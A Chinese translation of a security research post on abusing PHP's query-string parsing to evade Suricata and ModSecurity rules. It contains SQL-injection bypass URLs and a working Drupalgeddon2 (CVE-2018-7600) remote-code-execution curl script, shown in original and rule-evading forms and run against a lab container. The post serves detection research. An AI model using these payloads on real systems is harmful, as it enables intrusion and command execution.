TL;DR

一般来说,PHP将查询字符串(在URL或主体中)转换为$_GET$_POST内的关联数组。例如:/?foo=bar变为Array([foo] => "bar")。查询字符串解析过程将参数名称中的某些字符删除或替换为下划线。例如/?%20news[id%00=42将转换为Array([news_id]=>42)。如果IDS/IPS或WAF在news_id参数中设置了阻止或记录非数字值的规则,则可以滥用此解析过程来绕过它:就像:

/news.php?%20news[id%00=42"+AND+1=0--

在PHP中,上面的示例%20news[id%00中的参数名的值将存储为$_GET["news_id"]

原因

PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它主要做两件事:
删除初始空格
将一些字符转换为下划线(包括空格)
举个栗子

通过如下所示的循环,您可以使用parse_str函数发现哪个字符被删除或转换为下划线:

<?php

    foreach(
        [
            "{chr}foo_bar",
            "foo{chr}bar",
            "foo_bar{chr}"
        ] as $k => $arg) {

            for($i=0;$i<=255;$i++) {
                echo "\033[999D\033[K\r";
                echo "[".$arg."] check ".bin2hex(chr($i))."";
                parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);

                /* yes... I've added a sleep time on each loop just for 
                the scenic effect :) like that movie with unrealistic 
                brute-force where the password are obtained 
                one byte at a time (∩`-´)⊃━☆゚.*・。゚ 
                */
                usleep(5000);

                if(isset($o["foo_bar"])) {
                    echo "\033[999D\033[K\r";
                    echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
                }
            }

            echo "\033[999D\033[K\r";
            echo "\n";
    }

parse_str用于get、post和cookie。如果您的Web服务器接受带有点或空格的标头名称,则标头也会发生类似的情况。
我执行了三次上面的循环过程,在参数名的两端枚举了从0到255的所有字符,结果如下:

[1st]foo_bar
foo[2nd]bar
foo_bar[3rd]


在上面的例子中,foo%20bar和foo+bar是等效的,被解析为foo bar。

Suricata

对于初学者来说,Suricata是一个“开源、成熟、快速和健壮的网络威胁检测引擎”,其引擎能够进行实时入侵检测(IDS)、内联入侵防御(IPS)、网络安全监控(NSM)和离线PCAP处理。
使用Suricata,您甚至可以定义检查HTTP流量的规则。假设您有如下规则:

alert http any any -> $HOME_NET any (\
    msg: "Block SQLi"; flow:established,to_server;\
    content: "POST"; http_method;\
    pcre: "/news_id=[^0-9]+/Pi";\
    sid:1234567;\
)

此规则检查news_id是否具有非数字值。在PHP中,可以通过滥用字符串解析规则绕过检查。

/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'

在Google和GitHub上搜索,我发现Suricata有许多针对PHP的规则,可以通过在检查的参数名称中替换下划线、添加空字节或空格来绕过这些规则。以下举例说明:
https://github.com/OISF/suricata-update/blob/7797d6ab0c00051ce4be5ee7ee4120e81f1138b4/tests/emerging-current_events.rules#L805

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)

可以通过以下方式绕过:

/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00

稍加改变:

/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1

WAF(现代安全)

PHP查询字符串解析器也可能被滥用来绕过WAF规则。
一个ModSecurity规则,比如SecRule !ARGS:news_id "@rx ^[0-9]+$" "block"显然很容易使用相同的技术来绕过。幸运的是,在ModSecurity中,可以通过正则表达式指定查询字符串参数。

SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"

这将阻止所有以下请求:

/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'

PoC || GTFO

让我们使用Suricata和Drupal CMS创建PoC,研究CVE-2018-7600(Drupalgeddon2远程代码执行)。为了简单起见,我将在两个docker容器上运行Suricata和Drupal,并尝试从Suricata容器中利用Drupal漏洞。
我将激活关于Suricata的两条规则:
阻止form_id=user_register_form的自定义规则
为CVE-2018-7600设计的Suricata规则


对于Suricata安装,我遵循了官方安装指南 "官方安装指南"),对于Drupal,我运行了vulhub容器,您可以在这里进行克隆

好的,让我们尝试利用CVE-2018-7600。我想创建一个执行curl的小bash脚本,类似于:

#!/bin/bash

URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"

curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

上面的脚本执行命令id。


现在让我们在Suricata中导入以下两个规则:我编写了第一个规则,它只是试图匹配请求主体中的form_id=user_register_form;Positive Technology编写了第二个,并匹配请求URL中的/user/register和请求主体中的#post_render之类的内容。
我的规则:

alert http any any -> $HOME_NET any (\
  msg: "Possible Drupalgeddon2 attack";\
  flow: established, to_server;\
  content: "/user/register"; http_uri;\
  content: "POST"; http_method;\
  pcre: "/form_id=user_register_form/Pi";\
  sid: 10002807;\
  rev: 1;\
)

PT规则:

alert http any any -> $HOME_NET any (\
  msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \
  flow: established, to_server; \
  content: "/user/register"; http_uri; \
  content: "POST"; http_method; \
  content: "drupal"; http_client_body; \
  pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \
  reference: cve, 2018-7600; \
  reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \
  classtype: attempted-admin; \
  reference: url, github.com/ptresearch/AttackDetection; \
  metadata: Open Ptsecurity.com ruleset; \
  sid: 10002808; \
  rev: 2; \
)

重新启动Suricata后,我很快就会知道上面的两个规则是否会拦截关于漏洞的请求:

我们得到两个Suricata日志:

ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

成功绕过!

这两条规则都很容易绕过。针对第一条规则,我们可以将form_id=user_register_form替换为如下内容:

form%5bid=user_register_form


针对PT规则,分析PT规则的正则表达式,我们可以看到它匹配#和他的编码版本%23。它没有匹配下划线字符的编码版本。
因此,我们可以通过使用post%5frender替代post_render来进行绕过:

以下攻击绕过了这两个规则:

#!/bin/bash

URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"

curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

如果你喜欢这个帖子,请分享本文并在推特上关注我!

原文:https://www.secjuice.com/abusing-php-query-string-parser-bypass-ids-ips-waf/

点击收藏 | 0 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖